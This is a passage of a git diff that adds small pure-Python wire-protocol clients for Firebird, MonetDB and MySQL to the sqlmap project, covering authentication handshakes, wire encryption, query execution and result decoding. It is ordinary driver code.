_ctr_bytes(self): + return struct.pack("> (32 - n))) & 0xffffffff + x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 16) + x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 12) + x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 8) + x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 7) + + def translate(self, data): + out = bytearray() + block = bytearray(self._block) + for c in bytearray(data): + out.append(c ^ block[self._pos]) + self._pos += 1 + if self._pos == 64: + self._counter += 1 + cb = self._ctr_bytes() + self._state[12] = struct.unpack(" (plugin, nonce) + plugins, nonces, buf, i = [], [], bytearray(buf), 0 + while i < len(buf): + t, ln = buf[i], buf[i + 1] + v = bytes(buf[i + 2:i + 2 + ln]) + i += 2 + ln + if t == 1: + plugins = v.split() + elif t == 3: + nonces.append(v) + if b"ChaCha64" in plugins: + for s in nonces: + if s[:9] == b"ChaCha64\x00": + return b"ChaCha64", s[9:] + if b"ChaCha" in plugins: + for s in nonces: + if s[:7] == b"ChaCha\x00": + return b"ChaCha", s[7:7 + 12] + if b"Arc4" in plugins: + return b"Arc4", None + return None, None + +class _Wire(object): + def __init__(self, sock): + self._sock = sock + self._rc = self._wc = None + + def set_ciphers(self, rc, wc): + self._rc, self._wc = rc, wc + + def send(self, data): + self._sock.sendall(self._wc.translate(data) if self._wc else data) + + def _recv_raw(self, n): + buf = b"" + while len(buf) < n: + chunk = self._sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + + def recv(self, n, align=False): + total = n + ((4 - n % 4) % 4) if align else n + data = self._recv_raw(total) + if self._rc: + data = self._rc.translate(data) + return data[:n] + + def recv_int(self): + return struct.unpack("!i", self.recv(4))[0] + + def recv_bytes(self): + return self.recv(self.recv_int(), align=True) + + def close(self): + try: + self._sock.close() + except Exception: + pass + +def _pack_int(v): + return struct.pack("!i", v) + +def _pack_bytes(v): + return _pack_int(len(v)) + v + b"\x00" * ((4 - len(v) % 4) % 4) + +def _le(b): + n = 0 + for c in reversed(bytearray(b)): + n = (n << 8) | c + return n + +def _le_signed(b): + n = _le(b) # info-buffer scalars are little-endian; scale is signed (usually negative) + if b and (bytearray(b)[-1] & 0x80): + n -= 1 << (8 * len(b)) + return n + +def _b2i_signed(b): + n = _b2l(b) + if bytearray(b) and bytearray(b)[0] & 0x80: + n -= 1 << (8 * len(b)) + return n + +def _scaled(n, scale): + # integer n represents n * 10**scale (scale <= 0); render as an exact decimal string + if scale >= 0: + return str(n * (10 ** scale)) + digits = "%0*d" % (-scale + 1, abs(n)) + return ("-" if n < 0 else "") + digits[:scale] + "." + digits[scale:] + +_EPOCH_DAYS = datetime.date(1858, 11, 17).toordinal() + +def _decode_date(raw): + return datetime.date.fromordinal(_EPOCH_DAYS + struct.unpack("!i", raw)[0]) + +def _decode_time(raw): + n = struct.unpack("!I", raw)[0] + s, frac = divmod(n, 10000) + return datetime.time(s // 3600, (s // 60) % 60, s % 60, frac * 100) + +class _Column(object): + __slots__ = ("name", "sqltype", "subtype", "scale", "length") + + def io_length(self): + return self.length if self.sqltype == _SQL_TEXT else _SQL_TYPE_LENGTH[self.sqltype] + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, wire, filename, user, password): + self._wire = wire + self._filename = filename + self._user = user + self._password = password + self._db_handle = None + self._trans_handle = None + + def cursor(self): + return Cursor(self) + + def commit(self): + if self._trans_handle is not None: + self._send(_pack_int(_op_commit_retaining) + _pack_int(self._trans_handle)) + self._response() + + def rollback(self): + if self._trans_handle is not None: + self._send(_pack_int(_op_rollback_retaining) + _pack_int(self._trans_handle)) + self._response() + + def close(self): + try: + if self._db_handle is not None: + self._send(_pack_int(_op_detach) + _pack_int(self._db_handle)) + self._response() + except Exception: + pass + self._wire.close() + + # ---- wire helpers ---- + + def _send(self, data): + self._wire.send(data) + + def _response(self): + op = self._wire.recv_int() + while op == _op_dummy: + op = self._wire.recv_int() + if op != _op_response: + raise OperationalError("unexpected Firebird operation %d" % op) + return self._parse_response() + + def _parse_response(self): + head = self._wire.recv(16) + handle = struct.unpack("!i", head[:4])[0] + object_id = head[4:12] + buf = self._wire.recv(struct.unpack("!i", head[12:16])[0], align=True) + self._check_status() + return handle, object_id, buf + + def _check_status(self): + gds, message = set(), "" + n = self._wire.recv_int() + while n != _isc_arg_end: + if n == _isc_arg_gds: + gds_code = self._wire.recv_int() + if gds_code: + gds.add(gds_code) + elif n == _isc_arg_number: + message += " %d" % self._wire.recv_int() + elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state): + s = self._wire.recv(self._wire.recv_int(), align=True) + if n != _isc_arg_sql_state: + message += " " + s.decode("utf-8", "replace") + n = self._wire.recv_int() + if gds: + message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip() + if gds & _GDS_INTEGRITY: + raise IntegrityError(message) + if gds & _GDS_DATA: + raise DataError(message) + if _GDS_WARNING not in gds: + raise OperationalError(message) + + # ---- query ---- + + def _query(self, query): + try: + return self._run(query) + except (struct.error, IndexError, ValueError, KeyError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _run(self, query): + qbytes = query.encode("utf-8") + self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle)) + stmt = self._response()[0] + + desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS + self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) + + _pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024)) + buf = self._response()[2] + stmt_type, columns = self._parse_describe(stmt, buf) + + exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) + + _pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0)) + self._send(exec_msg) + self._response() + + description, rows = None, [] + if stmt_type == _isc_info_sql_stmt_select and columns: + description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns] + rows = self._fetch(stmt, columns) + self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop)) + self._response() + return description, rows + + def _parse_describe(self, stmt, buf): + stmt_type, columns = None, [] + i = 0 + while i < len(buf): + if bytearray(buf[i:i + 3]) == bytearray([_isc_info_sql_stmt_type, 4, 0]): + stmt_type = _le(buf[i + 3:i + 7]) + i += 7 + elif bytearray(buf[i:i + 2]) == bytearray([_isc_info_sql_select, _isc_info_sql_describe_vars]): + i += 2 + ln = _le(buf[i:i + 2]); i += 2 + count = _le(buf[i:i + ln]); i += ln + columns = [_Column() for _ in range(count)] + next_index = self._parse_items(buf[i:], columns) + while next_index > 0: # describe buffer truncated: request the remaining columns + self._send(_pack_int(_op_info_sql) + _pack_int(stmt) + _pack_int(0) + _pack_bytes( + bytes(bytearray([_isc_info_sql_sqlda_start, 2])) + struct.pack("> 8] + for c in columns: + t = c.sqltype + if t == _SQL_VARYING: + blr += [37, c.length & 0xff, c.length >> 8] + elif t == _SQL_TEXT: + blr += [14, c.length & 0xff, c.length >> 8] + elif t == _SQL_LONG: + blr += [8, c.scale] + elif t == _SQL_SHORT: + blr += [7, c.scale] + elif t == _SQL_INT64: + blr += [16, c.scale] + elif t == _SQL_INT128: + blr += [26, c.scale] + else: + blr += _SQL_TYPE_BLR[t] + blr += [7, 0] + blr += [255, 76] + return bytes(bytearray((256 + b) if b < 0 else b for b in blr)) + + def _fetch(self, stmt, columns): + blr = self._calc_blr(columns) + nbytes = (len(columns) + 7) // 8 + blob_cols = [i for i, c in enumerate(columns) if c.sqltype == _SQL_BLOB] + rows = [] + more = True + while more: + self._send(_pack_int(_op_fetch) + _pack_int(stmt) + _pack_bytes(blr) + _pack_int(0) + _pack_int(400)) + op = self._wire.recv_int() + while op == _op_dummy: + op = self._wire.recv_int() + if op != _op_fetch_response: + if op == _op_response: + self._parse_response() + raise OperationalError("unexpected Firebird operation %d during fetch" % op) + status = self._wire.recv_int() + count = self._wire.recv_int() + while count: + null_bitmap = _le(self._wire.recv(nbytes, align=True)) + row = [] + for i, col in enumerate(columns): + if null_bitmap & (1 << i): + row.append(None) + continue + io = col.io_length() + ln = self._wire.recv_int() if io < 0 else io + raw = self._wire.recv(ln, align=True) + # blob columns yield an 8-byte blob id; resolve AFTER the fetch batch is fully drained + # (a blob sub-request mid-batch would interleave with the still-streaming rows and desync) + row.append(raw if col.sqltype == _SQL_BLOB else self._decode(col, raw)) + rows.append(row) + op = self._wire.recv_int() + status = self._wire.recv_int() + count = self._wire.recv_int() + more = status != 100 + for i in blob_cols: + for row in rows: + if row[i] is not None: + row[i] = self._read_blob(row[i], columns[i].subtype) + return [tuple(row) for row in rows] + + def _decode(self, col, raw): + t = col.sqltype + if t == _SQL_TEXT: + return self._decode_text(raw, rstrip=True) + if t == _SQL_VARYING: + return self._decode_text(raw, rstrip=False) + if t in (_SQL_SHORT, _SQL_LONG, _SQL_INT64, _SQL_INT128): + n = _b2i_signed(raw) + return _scaled(n, col.scale) if col.scale else str(n) + if t == _SQL_FLOAT: + return repr(struct.unpack("!f", raw)[0]) + if t == _SQL_DOUBLE: + return repr(struct.unpack("!d", raw)[0]) + if t == _SQL_BOOLEAN: + return "true" if bytearray(raw)[0] else "false" + if t == _SQL_DATE: + return "%s" % _decode_date(raw) + if t == _SQL_TIME: + return "%s" % _decode_time(raw) + if t == _SQL_TIMESTAMP: + return "%s %s" % (_decode_date(raw[:4]), _decode_time(raw[4:])) + if t == _SQL_BLOB: + return self._read_blob(raw, col.subtype) + return raw # unknown/decimal-float type -> raw bytes (sqlmap hex-encodes) + + def _decode_text(self, raw, rstrip): + try: + s = raw.decode("utf-8") + except UnicodeDecodeError: + return raw # OCTETS / binary text -> bytes (sqlmap hex-encodes) + return s.rstrip(" ") if rstrip else s + + def _read_blob(self, blob_id, subtype): + self._send(_pack_int(_op_open_blob2) + _pack_int(0) + _pack_int(self._trans_handle) + blob_id) + blob_handle = self._response()[0] + data = b"" + while True: + self._send(_pack_int(_op_get_segment) + _pack_int(blob_handle) + _pack_int(1024) + _pack_int(0)) + seg_status, _, buf = self._response() + buf = bytearray(buf) + j = 0 + while j < len(buf): + seg_len = _le(buf[j:j + 2]) + data += bytes(buf[j + 2:j + 2 + seg_len]) + j += 2 + seg_len + if seg_status == 2: # last segment + break + self._send(_pack_int(_op_close_blob) + _pack_int(blob_handle)) + self._response() + if subtype == 1: + try: + return data.decode("utf-8") + except UnicodeDecodeError: + return data + return data + +def _uid(user, plugin, plugin_list, public_key, wire_crypt): + def param(k, v): + if k != _CNCT_specific_data: + return bytes(bytearray([k, len(v)])) + v + out, i = b"", 0 + while len(v) > 254: + out += bytes(bytearray([k, 255, i])) + v[:254] + v = v[254:] + i += 1 + return out + bytes(bytearray([k, len(v) + 1, i])) + v + + try: + os_user = os.environ.get("USER", "") or os.environ.get("USERNAME", "") + except Exception: + os_user = "" + specific = _hex(_minbe(public_key)) + r = param(_CNCT_login, user.encode("utf-8")) + r += param(_CNCT_plugin_name, plugin) + r += param(_CNCT_plugin_list, plugin_list) + r += param(_CNCT_specific_data, specific) + r += param(_CNCT_client_crypt, b"\x01\x00\x00\x00" if wire_crypt else b"\x00\x00\x00\x00") + r += param(_CNCT_user, os_user.encode("utf-8")) + r += param(_CNCT_host, socket.gethostname().encode("utf-8", "replace")) + r += param(_CNCT_user_verification, b"") + return r + +def _hex(b): + return "".join("%02x" % c for c in bytearray(b)).encode("ascii") + +# protocol version tuples (version, arch=Generic 1, min_type=0, max_type=batch_send 3, weight); max_type is +# deliberately capped at 3 (not lazy_send 5) so every operation gets an immediate response (no deferred handles) +_PROTOCOLS = ("0000000a00000001000000000000000300000002", + "ffff800b00000001000000000000000300000004", + "ffff800c00000001000000000000000300000006", + "ffff800d00000001000000000000000300000008", + "ffff800e0000000100000000000000030000000a", + "ffff800f0000000100000000000000030000000c", + "ffff80100000000100000000000000030000000e", + "ffff801100000001000000000000000300000010") + +def connect(host=None, port=3050, user=None, password=None, database=None, connect_timeout=None, **kwargs): + user = user or "SYSDBA" + password = password or "" + filename = (database or "").encode("utf-8") + plugin, plugin_list = b"Srp256", b"Srp256,Srp,Legacy_Auth" + + try: + sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + wire = _Wire(sock) + try: + public_key, private_key = _srp_client_seed() + packet = (_pack_int(_op_connect) + _pack_int(_op_attach) + _pack_int(3) + _pack_int(1) + + _pack_bytes(filename) + _pack_int(len(_PROTOCOLS)) + + _pack_bytes(_uid(user, plugin, plugin_list, public_key, True))) + for p in _PROTOCOLS: + packet += _unhex(p) + wire.send(packet) + + _authenticate(wire, user, password, public_key, private_key) + connection = Connection(wire, filename, user, password) + _attach(connection, wire, user) + except (DatabaseError, InterfaceError): + wire.close() + raise + except Exception as ex: + wire.close() + raise OperationalError("Firebird login failed (%s)" % ex) + return connection + +def _unhex(s): + return bytes(bytearray(int(s[i:i + 2], 16) for i in range(0, len(s), 2))) + +def _normalize_user(user): + if len(user) >= 2 and user[0] == '"' and user[-1] == '"': + return user[1:-1].replace('""', '"') + return user.upper() + +def _authenticate(wire, user, password, public_key, private_key): + op = wire.recv_int() + while op == _op_dummy: + op = wire.recv_int() + if op == _op_reject: + raise OperationalError("Firebird connection rejected") + if op == _op_response: + Connection(wire, b"", user, password)._parse_response() # will raise the server error + raise OperationalError("Firebird connection rejected") + + wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off) + if op == _op_accept: + return b"" # plaintext, no encryption negotiated + + data = wire.recv_bytes() + plugin_name = wire.recv_bytes() + wire.recv_int() # is_authenticated + wire.recv_bytes() # keys + if plugin_name not in (b"Srp256", b"Srp"): + raise NotSupportedError("unsupported Firebird auth plugin %r" % plugin_name) + if not data: + raise OperationalError("Firebird server sent no SRP challenge") + + salt_len = _le(data[:2]) + salt = data[2:2 + salt_len] + # the server sends B as a hex integer, dropping a leading zero nibble when its top nibble is 0 (odd-length + # hex ~5% of the time) - parse it as an integer, which is length-agnostic (byte-pairing would corrupt it) + server_public = int(data[4 + salt_len:].decode("ascii"), 16) + hash_algo = hashlib.sha256 if plugin_name == b"Srp256" else hashlib.sha1 + proof, session_key = _srp_client_proof(_normalize_user(user).encode("utf-8"), + password.encode("utf-8"), salt, + public_key, server_public, private_key, hash_algo) + + wire.send(_pack_int(_op_cont_auth) + _pack_bytes(_hex(proof)) + _pack_bytes(plugin_name) + + _pack_bytes(b"Srp256,Srp,Legacy_Auth") + _pack_bytes(b"")) + buf = _read_response(wire, user, password) + + enc_plugin, nonce = _guess_wire_crypt(buf) + if not (enc_plugin and session_key): + raise NotSupportedError("Firebird server did not offer a supported wire-crypt plugin") + wire.send(_pack_int(_op_crypt) + _pack_bytes(enc_plugin) + _pack_bytes(b"Symmetric")) + if enc_plugin in (b"ChaCha", b"ChaCha64"): + k = hashlib.sha256(session_key).digest() + wire.set_ciphers(_ChaCha20(k, nonce), _ChaCha20(k, nonce)) + elif enc_plugin == b"Arc4": + wire.set_ciphers(_ARC4(session_key), _ARC4(session_key)) + else: + raise NotSupportedError("unsupported Firebird wire-crypt plugin %r" % enc_plugin) + _read_response(wire, user, password) # first encrypted message + return session_key + +def _read_response(wire, user, password): + # a bare op_response reader used during the login handshake (before a Connection exists) + op = wire.recv_int() + while op == _op_dummy: + op = wire.recv_int() + if op == _op_cont_auth: + raise OperationalError("Firebird authentication failed") + if op != _op_response: + raise OperationalError("unexpected Firebird operation %d during login" % op) + return Connection(wire, b"", user, password)._parse_response()[2] + +def _attach(connection, wire, user): + dpb = bytearray([_isc_dpb_version1]) + dpb += bytearray([_isc_dpb_lc_ctype, 4]) + bytearray(b"UTF8") + ub = user.encode("utf-8") + dpb += bytearray([_isc_dpb_user_name, len(ub)]) + bytearray(ub) + dpb += bytearray([_isc_dpb_process_id, 4]) + bytearray(struct.pack("> 1 + +def _recvn(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + +def _getblock(sock): + out = b"" + while True: + (header,) = struct.unpack("> 1, header & 1 + out += _recvn(sock, length) + if last: + break + return out.decode("utf-8", "replace") + +def _putblock(sock, text): + data = text.encode("utf-8") + off = 0 + while True: + chunk = data[off:off + _MAX_BLOCK] + off += _MAX_BLOCK + last = off >= len(data) + sock.sendall(struct.pack("= 2 and value[0] == '"' and value[-1] == '"': + body = value[1:-1] + if "\\" not in body: + return body + # MonetDB renders control bytes as C octal escapes (\ooo) etc.; decode with unicode_escape but only + # on the ASCII runs so raw multibyte (> 0x7f) is preserved (mirrors pymonetdb's result decoding) + return "".join(seg.encode("utf-8").decode("unicode_escape") if "\\" in seg else seg + for seg in re.split(r"([\x00-\x7f]+)", body)) + return value + +def _parse_result(text): + description, rows = None, [] + for line in text.split("\n"): + if not line: + continue + marker = line[0] + if marker == "!": # error + raise ProgrammingError("(remote) %s" % line[1:].strip()) + elif marker == "%": # metadata: " # " + payload, _, kind = line[1:].rpartition("#") + if kind.strip() == "name": + description = [(name.strip(), None, None, None, None, None, None) for name in payload.split(",\t")] + elif marker == "[": # tuple: "[ v1,\tv2,\t... ]" + body = line.strip() + if body.startswith("[") and body.endswith("]"): + body = body[1:-1].strip() + rows.append(tuple(_unquote(v.strip()) for v in body.split(",\t"))) + # "&" result headers, "#" info, "=" no-slice tuples are ignored for our purposes + return description, rows + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # sqlmap runs autonomous statements; MonetDB SQL is auto-committed unless a transaction is opened + + def rollback(self): + pass + + def close(self): + try: + self._sock.close() + except Exception: + pass + + def _command(self, text): + _putblock(self._sock, text) + reply = _getblock(self._sock) + if reply.startswith("!"): + raise OperationalError("(remote) %s" % reply[1:].strip()) + + def _query(self, query): + try: + _putblock(self._sock, "s" + query + ";\n") + return _parse_result(_getblock(self._sock)) + except (socket.error, socket.timeout) as ex: + raise OperationalError("connection error: %s" % ex) + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + +def connect(host=None, port=50000, user=None, password=None, database=None, connect_timeout=None, **kwargs): + host, port = host or "localhost", int(port or 50000) + try: + sock = socket.create_connection((host, port), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + try: + for _ in range(10): # bounded: merovingian proxy stage + optional redirect + mserver challenge + block = _getblock(sock) + if block == "": # login accepted + break + if block[0] == "^": # redirect + url = block[1:].strip() + m = re.match(r"mapi:monetdb://([^:/]+):(\d+)/(\S*)", url) + if m and (m.group(1) != host or int(m.group(2)) != port): + sock.close() + host, port, database = m.group(1), int(m.group(2)), m.group(3) or database + sock = socket.create_connection((host, port), timeout=connect_timeout) + sock.settimeout(None) + continue # merovingian proxy redirect: keep reading the next challenge on this socket + if block[0] == "!": + raise OperationalError("(remote) %s" % block[1:].strip()) + _putblock(sock, _challenge_response(block, user, password, database)) + else: + raise OperationalError("MonetDB login did not converge") + except (OperationalError, NotSupportedError, InterfaceError): + try: + sock.close() + except Exception: + pass + raise + except (socket.error, socket.timeout) as ex: # I/O error during the login/redirect exchange + try: + sock.close() + except Exception: + pass + raise OperationalError("connection error: %s" % ex) + + connection = Connection(sock) + try: + connection._command("Xreply_size -1\n") # disable row paging so a whole result set is returned at once + except (socket.error, socket.timeout) as ex: + connection.close() + raise OperationalError("connection error: %s" % ex) + return connection diff --git a/extra/dbwire/mysql.py b/extra/dbwire/mysql.py new file mode 100644 index 00000000000..6d1773ba570 --- /dev/null +++ b/extra/dbwire/mysql.py @@ -0,0 +1,354 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python MySQL client/server protocol client (stdlib only). + +Covers the whole MySQL-wire family (MySQL, MariaDB, TiDB, Aurora-MySQL, Percona, ...). Auth: +mysql_native_password (full), plus caching_sha2_password fast path; caching_sha2 *full* auth over a +plaintext connection needs RSA (not in the stdlib), so that case raises a clean NotSupportedError - use a +mysql_native_password account (as MariaDB/TiDB default to) for the dependency-free path. +""" + +import hashlib +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +# capability flags +_CLIENT_LONG_PASSWORD = 0x00000001 +_CLIENT_LONG_FLAG = 0x00000004 +_CLIENT_CONNECT_WITH_DB = 0x00000008 +_CLIENT_PROTOCOL_41 = 0x00000200 +_CLIENT_TRANSACTIONS = 0x00002000 +_CLIENT_SECURE_CONNECTION = 0x00008000 +_CLIENT_PLUGIN_AUTH = 0x00080000 + +_MAX_PACKET = 0x1000000 +_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) payload, to bound a hostile/corrupt stream +_BINARY_CHARSET = 63 # collation id 63 == 'binary' +# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/GEOMETRY family). +# Numeric & temporal columns ALSO report charset 63 in the text protocol, but carry their ASCII text form - +# they must be decoded, not returned as bytes (else -d hexifies e.g. the int 12345 to '3132333435'). +_BINARY_TYPES = frozenset((15, 249, 250, 251, 252, 253, 254, 255)) # VARCHAR,*BLOB,VAR_STRING,STRING,GEOMETRY +_TYPE_BIT = 16 # BIT reports charset 63 but is decoded to a big-endian integer (matches SQLAlchemy/mysql-connector) + +def _xor(a, b): + if str is bytes: # Python 2 + return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b)) + return bytes(x ^ y for x, y in zip(a, b)) + +def _u8(data, off): + return struct.unpack(" _MAX_MESSAGE_LENGTH: + raise InterfaceError("backend message too large (%d bytes)" % total) + payload += _recvn(sock, length) + return seq, payload + +def _send_packet(sock, seq, payload): + while True: # split payloads >= 16 MB into 0xffffff-sized packets (with a trailing short packet) + chunk = payload[:0xffffff] + sock.sendall(struct.pack(" len(data): + raise InterfaceError("length-encoded string overruns packet") + return data[off:off + length], off + length + +def _err_message(payload): + # ERR packet: 0xff, Int2 code, (if PROTOCOL_41) '#' + 5-byte SQLSTATE, then message + off = 3 + if payload[3:4] == b"#": + off = 9 + return payload[off:].decode("utf-8", "replace") + +def _bit_int(value): + n = 0 # BIT arrives as a big-endian byte string + for b in bytearray(value): + n = (n << 8) | b + return n + +def _scramble_native(password, salt): + if not password: + return b"" + stage1 = hashlib.sha1(password.encode("utf-8")).digest() + stage2 = hashlib.sha1(stage1).digest() + return _xor(stage1, hashlib.sha1(salt + stage2).digest()) + +def _scramble_sha2(password, salt): + if not password: + return b"" + d1 = hashlib.sha256(password.encode("utf-8")).digest() + d2 = hashlib.sha256(hashlib.sha256(d1).digest() + salt).digest() + return _xor(d1, d2) + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows, self.rowcount = self.connection._query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # autocommit is enabled right after connect(), matching sqlmap's autonomous-statement model + + def rollback(self): + pass + + def close(self): + try: + _send_packet(self._sock, 0, b"\x01") # COM_QUIT + except Exception: + pass + try: + self._sock.close() + except Exception: + pass + + def _query(self, query): + _send_packet(self._sock, 0, b"\x03" + query.encode("utf-8")) # COM_QUERY + try: + return self._read_query_response() + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _read_query_response(self): + seq, payload = _read_packet(self._sock) + first = _u8(payload, 0) + + if first == 0xff: # ERR + raise ProgrammingError("(remote) %s" % _err_message(payload)) + if first == 0x00 or (first == 0xfe and len(payload) < 9): # OK packet (no result set) + affected, _ = _lenc_int(payload, 1) + return None, [], (affected if affected is not None else -1) + if first == 0xfb: # LOCAL INFILE request + raise NotSupportedError("LOCAL INFILE is not supported") + + column_count, _ = _lenc_int(payload, 0) + description, binary = [], [] + for _ in range(column_count): + _, cpay = _read_packet(self._sock) + off = 0 + for _ in range(4): # catalog, schema, table, org_table + _, off = _lenc_str(cpay, off) + name, off = _lenc_str(cpay, off) # name + _, off = _lenc_str(cpay, off) # org_name + _, off = _lenc_int(cpay, off) # length of the fixed-length block (0x0c) + charset = struct.unpack(" end of rows + break + if _u8(payload, 0) == 0xff: + raise ProgrammingError("(remote) %s" % _err_message(payload)) + off, row = 0, [] + for i in range(column_count): + value, off = _lenc_str(payload, off) + if value is None: + row.append(None) + elif description[i][1] == _TYPE_BIT: + row.append(str(_bit_int(value))) # big-endian integer, e.g. b'\x2a' -> '42' + elif binary[i]: + row.append(value) # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them) + else: + row.append(value.decode("utf-8", "replace")) + rows.append(tuple(row)) + return description, rows, len(rows) + +def _finish_auth(sock, password, plugin, salt): + # read the auth result, handling AuthSwitchRequest (0xfe) and AuthMoreData (0x01) for caching_sha2 + while True: + seq, payload = _read_packet(sock) + marker = _u8(payload, 0) + if marker == 0x00: # OK + return + if marker == 0xff: # ERR + raise OperationalError("(remote) %s" % _err_message(payload)) + if marker == 0xfe: # AuthSwitchRequest: \x00 + plugin, off = _cstring(payload, 1) + plugin = plugin.decode("ascii", "replace") + salt = payload[off:].rstrip(b"\x00") + if plugin == "mysql_native_password": + data = _scramble_native(password, salt) + elif plugin == "caching_sha2_password": + data = _scramble_sha2(password, salt) + else: + raise NotSupportedError("unsupported authentication plugin '%s'" % plugin) + _send_packet(sock, seq + 1, data) + elif marker == 0x01: # AuthMoreData (caching_sha2) + status = _u8(payload, 1) + if status == 0x03: # fast auth success -> OK packet follows + continue + elif status == 0x04: # full auth required (needs TLS or RSA - not available stdlib-only) + raise NotSupportedError("caching_sha2_password full authentication over a plaintext connection " + "requires RSA/TLS; use a mysql_native_password account for the dependency-free client") + else: + raise OperationalError("unexpected caching_sha2 auth status %d" % status) + else: + raise InterfaceError("unexpected authentication response 0x%02x" % marker) + +def connect(host=None, port=3306, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + sock = socket.create_connection((host or "localhost", int(port or 3306)), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + try: + seq, payload = _read_packet(sock) + if _u8(payload, 0) == 0xff: + raise OperationalError("(remote) %s" % _err_message(payload)) + + off = 1 # protocol version (10) + _, off = _cstring(payload, off) # server version + off += 4 # connection id + salt = payload[off:off + 8]; off += 8 + 1 # auth-plugin-data part 1 (+ filler) + off += 2 # capability flags (lower) + off += 1 # character set + off += 2 # status flags + off += 2 # capability flags (upper) + auth_data_len = _u8(payload, off); off += 1 + off += 10 # reserved + salt += payload[off:off + max(13, auth_data_len - 8) - 1] # part 2 (drop trailing NUL) + off += max(13, auth_data_len - 8) + plugin = "mysql_native_password" + if off < len(payload): + name, _ = _cstring(payload, off) + plugin = name.decode("ascii", "replace") or plugin + + if plugin == "caching_sha2_password": + auth_response = _scramble_sha2(password or "", salt) + else: + plugin = "mysql_native_password" + auth_response = _scramble_native(password or "", salt) + + flags = (_CLIENT_LONG_PASSWORD | _CLIENT_LONG_FLAG | _CLIENT_PROTOCOL_41 | + _CLIENT_TRANSACTIONS | _CLIENT_SECURE_CONNECTION | _CLIENT_PLUGIN_AUTH) + if database: + flags |= _CLIENT_CONNECT_WITH_DB + response = struct.pack(" 'illegal mix of + # collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1 + # so DML persists even if the server default is autocommit=0. Both best-effort (one-time, at connect). + for setup in ("SET NAMES utf8mb4", "SET autocommit=1"): + try: + connection._query(setup) + except Exception: + pass + return connection + +def _safe_close(sock): + try: + sock.close() + except Exception: + pass diff --git 